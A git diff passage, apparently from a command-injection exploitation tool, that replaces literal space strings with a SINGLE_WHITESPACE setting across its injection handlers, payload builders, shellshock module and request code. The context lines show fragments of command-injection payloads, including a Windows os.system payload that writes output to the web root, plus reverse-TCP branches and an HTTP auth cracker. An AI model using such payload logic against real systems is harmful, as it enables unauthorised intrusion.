@@ -744,7 +744,7 @@ def basic_level_checks(): # Custom header Injection if settings.CUSTOM_HEADER_INJECTION == True: - check_parameter = header_name = " " + settings.CUSTOM_HEADER_NAME + check_parameter = header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME settings.HTTP_HEADER = header_name[1:].lower() check_for_stored_sessions(url, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py index da7f6ae346..febae03580 100755 --- a/src/core/injections/controller/shell_options.py +++ b/src/core/injections/controller/shell_options.py @@ -66,7 +66,7 @@ def execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_ response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) else: whitespace = settings.WHITESPACES[0] - if whitespace == " ": + if whitespace == settings.SINGLE_WHITESPACE: whitespace = _urllib.parse.quote(whitespace) response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) end = time.time() diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index da49dc562a..8c5b302ec0 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -175,7 +175,7 @@ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_re response = requests.url_reload(url, timesec) # Evaluate injection results. shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1] + shell = "".join(str(p) for p in shell).replace(settings.SINGLE_WHITESPACE, "", 1)[:-1] session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index a3543ac920..976e32277d 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -59,7 +59,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ export_injection_info = False if not settings.LOAD_SESSION: - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " + info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL != 0: @@ -72,7 +72,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: - if whitespace == " ": + if whitespace == settings.SINGLE_WHITESPACE: whitespace = _urllib.parse.quote(whitespace) # Check injection state settings.DETECTION_PHASE = True @@ -176,7 +176,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2)) if shell == False: - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "..." + " (" + str(float_percent) + "%)" + info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "..." + " (" + str(float_percent) + "%)" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() @@ -189,7 +189,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ percent = settings.info_msg else: percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" + info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() @@ -236,7 +236,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: - header_name = " " + settings.CUSTOM_HEADER_NAME + header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" @@ -268,7 +268,7 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ # Print the findings to terminal. info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " - info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." + info_msg += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) print(settings.print_sub_content(sub_content)) diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index c975e8dd7e..c0feaad338 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -101,7 +101,7 @@ def injection_test_results(response, TAG, randvcalc): else: # Check the execution results html_data = checks.page_encoding(response, action="decode") - html_data = html_data.replace("\n"," ") + html_data = html_data.replace("\n",settings.SINGLE_WHITESPACE) # cleanup string / unescape html to string html_data = _urllib.parse.unquote(html_data) html_data = unescape(html_data) @@ -262,7 +262,7 @@ def injection_results(response, TAG, cmd): try: # Grab execution results html_data = checks.page_encoding(response, action="decode") - html_data = html_data.replace("\n"," ") + html_data = html_data.replace("\n",settings.SINGLE_WHITESPACE) # cleanup string / unescape html to string html_data = _urllib.parse.unquote(html_data) html_data = unescape(html_data) @@ -272,10 +272,10 @@ def injection_results(response, TAG, cmd): for end_line in settings.END_LINE: if end_line in html_data: - html_data = html_data.replace(end_line, " ") + html_data = html_data.replace(end_line, settings.SINGLE_WHITESPACE) break - shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + " ", html_data) + shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + settings.SINGLE_WHITESPACE, html_data) if not shell: shell = re.findall(r"" + TAG + TAG + "(.*)" + TAG + TAG + "", html_data) if not shell: @@ -284,7 +284,7 @@ def injection_results(response, TAG, cmd): if TAG in shell: shell = re.findall(r"" + "(.*)" + TAG + TAG, shell) # Clear junks - shell = [tags.replace(TAG + TAG , " ") for tags in shell] + shell = [tags.replace(TAG + TAG , settings.SINGLE_WHITESPACE) for tags in shell] shell = [backslash.replace("\/","/") for backslash in shell] except UnicodeDecodeError: pass diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py index fa7e60c0c9..ca13a188f9 100755 --- a/src/core/injections/results_based/techniques/classic/cb_payloads.py +++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py @@ -110,7 +110,7 @@ def decision_alter_shell(separator, TAG, randv1, randv2): def cmd_execution(separator, TAG, cmd): if settings.TARGET_OS == "win": if settings.REVERSE_TCP: - payload = (separator + cmd + " " + payload = (separator + cmd + settings.SINGLE_WHITESPACE ) else: payload = (separator + @@ -148,7 +148,7 @@ def cmd_execution(separator, TAG, cmd): def cmd_execution_alter_shell(separator, TAG, cmd): if settings.TARGET_OS == "win": if settings.REVERSE_TCP: - payload = (separator + cmd + " " + payload = (separator + cmd + settings.SINGLE_WHITESPACE ) else: payload = (separator + diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index 6aba7618f1..439181a3bf 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -47,7 +47,7 @@ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_ response = requests.url_reload(url, timesec) # Evaluate injection results. ps_version = eb_injector.injection_results(response, TAG, cmd) - ps_version = "".join(str(p) for p in ps_version).replace(" ", "", 1) + ps_version = "".join(str(p) for p in ps_version).replace(settings.SINGLE_WHITESPACE, "", 1) session_handler.store_cmd(url, cmd, ps_version, vuln_parameter) else: ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter) @@ -69,7 +69,7 @@ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, ur response = requests.url_reload(url, timesec) # Evaluate injection results. shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell).replace(" ", "", 1) + shell = "".join(str(p) for p in shell).replace(settings.SINGLE_WHITESPACE, "", 1) session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) @@ -126,7 +126,7 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ response = requests.url_reload(url, timesec) # Evaluate injection results. target_arch = eb_injector.injection_results(response, TAG, cmd) - target_arch = "".join(str(p) for p in target_arch).replace(" ", "", 1) + target_arch = "".join(str(p) for p in target_arch).replace(settings.SINGLE_WHITESPACE, "", 1) session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) else: target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) @@ -153,7 +153,7 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method response = requests.url_reload(url, timesec) # Evaluate injection results. cu_account = eb_injector.injection_results(response, TAG, cmd) - cu_account = "".join(str(p) for p in cu_account).replace(" ", "", 1) + cu_account = "".join(str(p) for p in cu_account).replace(settings.SINGLE_WHITESPACE, "", 1) session_handler.store_cmd(url, cmd, cu_account, vuln_parameter) else: cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) @@ -178,7 +178,7 @@ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_re response = requests.url_reload(url, timesec) # Evaluate injection results. shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell).replace(" ", "", 1) + shell = "".join(str(p) for p in shell).replace(settings.SINGLE_WHITESPACE, "", 1) session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) @@ -244,7 +244,7 @@ def single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_ response = requests.url_reload(url, timesec) # Evaluate injection results. shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell).replace(" ", "", 1) + shell = "".join(str(p) for p in shell).replace(settings.SINGLE_WHITESPACE, "", 1) session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 0fcf0557d2..ada5cb7ac5 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -56,7 +56,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS if not settings.LOAD_SESSION: - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " + info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL != 0: @@ -69,7 +69,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ for prefix in settings.EVAL_PREFIXES: for suffix in settings.EVAL_SUFFIXES: for separator in settings.EVAL_SEPARATORS: - if whitespace == " ": + if whitespace == settings.SINGLE_WHITESPACE: whitespace = _urllib.parse.quote(whitespace) # Check injection state settings.DETECTION_PHASE = True @@ -135,7 +135,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ if not settings.TAMPER_SCRIPTS['base64encode'] and \ not settings.TAMPER_SCRIPTS['hexencode']: - payload = payload.replace(" ", "%20") + payload = payload.replace(settings.SINGLE_WHITESPACE, "%20") # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: @@ -187,7 +187,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ float_percent = "{0:.1f}".format(round(((i*100)/(total * 1.0)),2)) if shell == False: - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "..." + " (" + str(float_percent) + "%)" + info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "..." + " (" + str(float_percent) + "%)" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() @@ -201,7 +201,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ else: percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" + info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() @@ -248,7 +248,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: - header_name = " " + settings.CUSTOM_HEADER_NAME + header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" @@ -279,7 +279,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ # Print the findings to terminal. info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " - info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." + info_msg += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) print(settings.print_sub_content(sub_content)) @@ -377,7 +377,7 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. shell = eb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell).replace(" ", "", 1) + shell = "".join(str(p) for p in shell).replace(settings.SINGLE_WHITESPACE, "", 1) if not menu.options.ignore_session : session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index 760180f8c1..ceb42396fb 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -95,11 +95,11 @@ def injection_test_results(response, TAG, randvcalc): return False else: html_data = checks.page_encoding(response, action="decode") - html_data = re.sub("\n", " ", html_data) + html_data = re.sub("\n", settings.SINGLE_WHITESPACE, html_data) if settings.SKIP_CALC: - shell = re.findall(r"" + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE + TAG + " " , html_data) + shell = re.findall(r"" + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE , html_data) else: - shell = re.findall(r"" + TAG + settings.SINGLE_WHITESPACE + str(randvcalc) + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE + TAG + " " , html_data) + shell = re.findall(r"" + TAG + settings.SINGLE_WHITESPACE + str(randvcalc) + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE + TAG + settings.SINGLE_WHITESPACE , html_data) return shell """ diff --git a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py index fef769ebe5..0b30bc8f5f 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_payloads.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_payloads.py @@ -198,7 +198,7 @@ def cmd_execution(separator, TAG, cmd): def cmd_execution_alter_shell(separator, TAG, cmd): if settings.TARGET_OS == "win": if settings.REVERSE_TCP: - payload = (separator +cmd + " " + payload = (separator + cmd + settings.SINGLE_WHITESPACE ) else: python_payload = ("for /f \"tokens=*\" %i in ('cmd /c " + diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 4b213359ee..16ba4b9c15 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -177,7 +177,7 @@ def finalize(exit_loops, no_result, float_percent, injection_type, technique): else: percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" + info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() return True @@ -329,7 +329,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r if len(shell) != 0 and shell[0] == TAG and not settings.VERBOSITY_LEVEL != 0: percent = settings.info_msg - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" + info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() @@ -456,7 +456,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: - header_name = " " + settings.CUSTOM_HEADER_NAME + header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" @@ -488,7 +488,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r # Print the findings to terminal. info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " - info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." + info_msg += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) print(settings.print_sub_content(sub_content)) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 82adf5e2d5..fe1a12e63e 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -50,7 +50,7 @@ def injection_test(payload, http_request_method, url): #url = parameters.do_GET_check(url, http_request_method) # Encoding spaces. - payload = payload.replace(" ","%20") + payload = payload.replace(settings.SINGLE_WHITESPACE,"%20") # Define the vulnerable parameter vuln_parameter = parameters.vuln_GET_param(url) @@ -193,7 +193,7 @@ def check_injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, ht if not settings.USER_DEFINED_POST_DATA: # Check if its not specified the 'INJECT_HERE' tag #url = parameters.do_GET_check(url, http_request_method) - payload = payload.replace(" ","%20") + payload = payload.replace(settings.SINGLE_WHITESPACE,"%20") target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) vuln_parameter = ''.join(vuln_parameter) request = _urllib.request.Request(target) @@ -335,7 +335,7 @@ def injection_results(url, OUTPUT_TEXTFILE, timesec): response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) try: shell = checks.page_encoding(response, action="encode").rstrip().lstrip() - #shell = [newline.replace("\n"," ") for newline in shell] + #shell = [newline.replace("\n",settings.SINGLE_WHITESPACE) for newline in shell] if settings.TARGET_OS == "win": shell = [newline.replace("\r","") for newline in shell] #shell = [space.strip() for space in shell] diff --git a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py index 25f094f98d..ada7d25040 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_payloads.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_payloads.py @@ -93,7 +93,7 @@ def cmd_execution(separator, cmd, OUTPUT_TEXTFILE): def cmd_execution_alter_shell(separator, cmd, OUTPUT_TEXTFILE): if settings.TARGET_OS == "win": if settings.REVERSE_TCP: - payload = (separator +cmd + " " + payload = (separator + cmd + settings.SINGLE_WHITESPACE ) else: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; os.system('" + cmd + settings.FILE_WRITE_OPERATOR + settings.WEB_ROOT + OUTPUT_TEXTFILE + "')\"" diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py index cc598bd8c8..19f21dfa1d 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py @@ -94,7 +94,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6)) if settings.VERBOSITY_LEVEL != 0: - info_msg ="Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". " + info_msg ="Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + ". " print(settings.print_info_msg(info_msg)) #whitespace = checks.check_whitespaces() @@ -251,7 +251,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" + info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() @@ -299,14 +299,14 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, else: if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" + info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue else: if settings.VERBOSITY_LEVEL == 0: percent = ".. (" + str(float_percent) + "%)" - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" + info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() continue @@ -335,7 +335,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, if no_result == True: if settings.VERBOSITY_LEVEL == 0: percent = settings.FAIL_STATUS - info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + "" + info_msg = "Testing the " + "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() else: @@ -366,7 +366,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, settings.EXPLOITATION_PHASE = True if settings.LOAD_SESSION: if whitespace == "%20": - whitespace = " " + whitespace = settings.SINGLE_WHITESPACE possibly_vulnerable = False if settings.COOKIE_INJECTION == True: @@ -390,7 +390,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: - header_name = " " + settings.CUSTOM_HEADER_NAME + header_name = settings.SINGLE_WHITESPACE + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" @@ -422,7 +422,7 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, # Print the findings to terminal. info_msg = settings.CHECKING_PARAMETER + " appears to be injectable via " - info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "." + info_msg += "(" + injection_type.split(settings.SINGLE_WHITESPACE)[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) print(settings.print_sub_content(sub_content)) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 78ba02cae3..6f78449373 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -344,7 +344,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, output = "".join(str(p) for p in output) # Check for empty output. - if output == (len(output) * " "): + if output == (len(output) * settings.SINGLE_WHITESPACE): output = "" else: diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index e91c29b87a..bbc78c0e79 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -353,8 +353,8 @@ def shellshock_handler(url, http_request_method, filename): export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique) vuln_parameter = "HTTP Header" - the_type = " " + vuln_parameter - check_header = " " + check_header + the_type = settings.SINGLE_WHITESPACE + vuln_parameter + check_header = settings.SINGLE_WHITESPACE + check_header vp_flag = logs.add_parameter(vp_flag, filename, the_type, check_header, http_request_method, vuln_parameter, payload) check_header = check_header[1:] logs.update_payload(filename, counter, payload) @@ -518,7 +518,7 @@ def shellshock_handler(url, http_request_method, filename): raise SystemExit() except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] + err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: print(settings.SINGLE_WHITESPACE) diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index cea825a68f..21f7f3dba4 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -167,7 +167,7 @@ def http_auth_cracker(url, realm): if settings.VERBOSITY_LEVEL >= 2: print(settings.print_checking_msg(payload)) else: - sys.stdout.write("\r" + settings.print_checking_msg(payload) + " " * 10) + sys.stdout.write("\r" + settings.print_checking_msg(payload) + settings.SINGLE_WHITESPACE * 10) sys.stdout.flush() try: # Basic authentication diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index b22a4bd401..d174061f9f 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -297,7 +297,7 @@ def get_request_response(request): raise SystemExit() response = False except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] + err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: print(settings.SINGLE_WHITESPACE) @@ -314,7 +314,7 @@ def get_request_response(request): if not str(err_msg.code) == str(menu.options.ignore_code): err = str(err_msg) + "." if settings.VERBOSITY_LEVEL < 2: - print("\r" + settings.print_critical_msg(err) + 30 * " ") + print("\r" + settings.print_critical_msg(err) + 30 * settings.SINGLE_WHITESPACE) continue_tests = checks.continue_tests(err_msg) if continue_tests == True: @@ -323,7 +323,7 @@ def get_request_response(request): raise SystemExit() response = False except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] + err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: print(settings.SINGLE_WHITESPACE) @@ -452,7 +452,7 @@ def inject_cookie(url, vuln_parameter, payload, proxy): raise SystemExit() response = False except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] + err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: print(settings.SINGLE_WHITESPACE) @@ -482,7 +482,7 @@ def inject_cookie(url, vuln_parameter, payload, proxy): raise SystemExit() response = False except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] + err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: print(settings.SINGLE_WHITESPACE) @@ -511,7 +511,7 @@ def inject_cookie(url, vuln_parameter, payload, proxy): response = False except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] + err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: print(settings.SINGLE_WHITESPACE) @@ -584,7 +584,7 @@ def inject_user_agent(url, vuln_parameter, payload, proxy): raise SystemExit() response = False except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] + err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: print(settings.SINGLE_WHITESPACE) @@ -614,7 +614,7 @@ def inject_user_agent(url, vuln_parameter, payload, proxy): raise SystemExit() response = False except _urllib.error.URLError as err_msg: - err_msg = str(err_msg.reason).split(" ")[2:] + err_msg = str(err_msg.reason).split(settings.SINGLE_WHITESPACE)[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL != 0 and settings.LOAD_SESSION == False: print(settings.SINGLE_WHITESPACE) @@ -642,7 +642,7 @@ def inject_user_agent(url, vuln_parameter, payload, proxy): raise SystemExit() response = False except _urllib.error.URLError as 